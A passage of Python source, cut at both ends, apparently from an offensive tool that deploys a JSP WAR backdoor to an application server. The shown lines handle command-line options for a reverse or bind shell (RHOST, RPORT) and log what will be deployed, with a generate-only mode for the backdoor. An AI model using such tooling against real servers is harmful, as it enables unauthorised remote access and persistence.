'Both RHOST and RPORT must be specified to deploy reverse tcp payload.')
sys.exit(0)
elif (opts.port and not opts.host):
host = extractHostAddress(args[0], opts.url)
logger.info('Bind shell will be deployed on: %s:%s' %
(host, opts.port))
elif (opts.host and opts.port):
logger.info('Reverse shell will connect to: %s:%s.' %
(opts.host, opts.port))
if opts.remove_appname and (opts.host or opts.port or opts.file):
logging.warning(
'Removing previously deployed package, any further actions will not be undertaken.')
if opts.generate:
if opts.file:
logging.error(
'Custom JSP WAR file has been specified. Mutually exclusive with generate-only function.')
sys.exit(0)
logging.warning(
'Will generate JSP backdoor and store it into specified output path only.')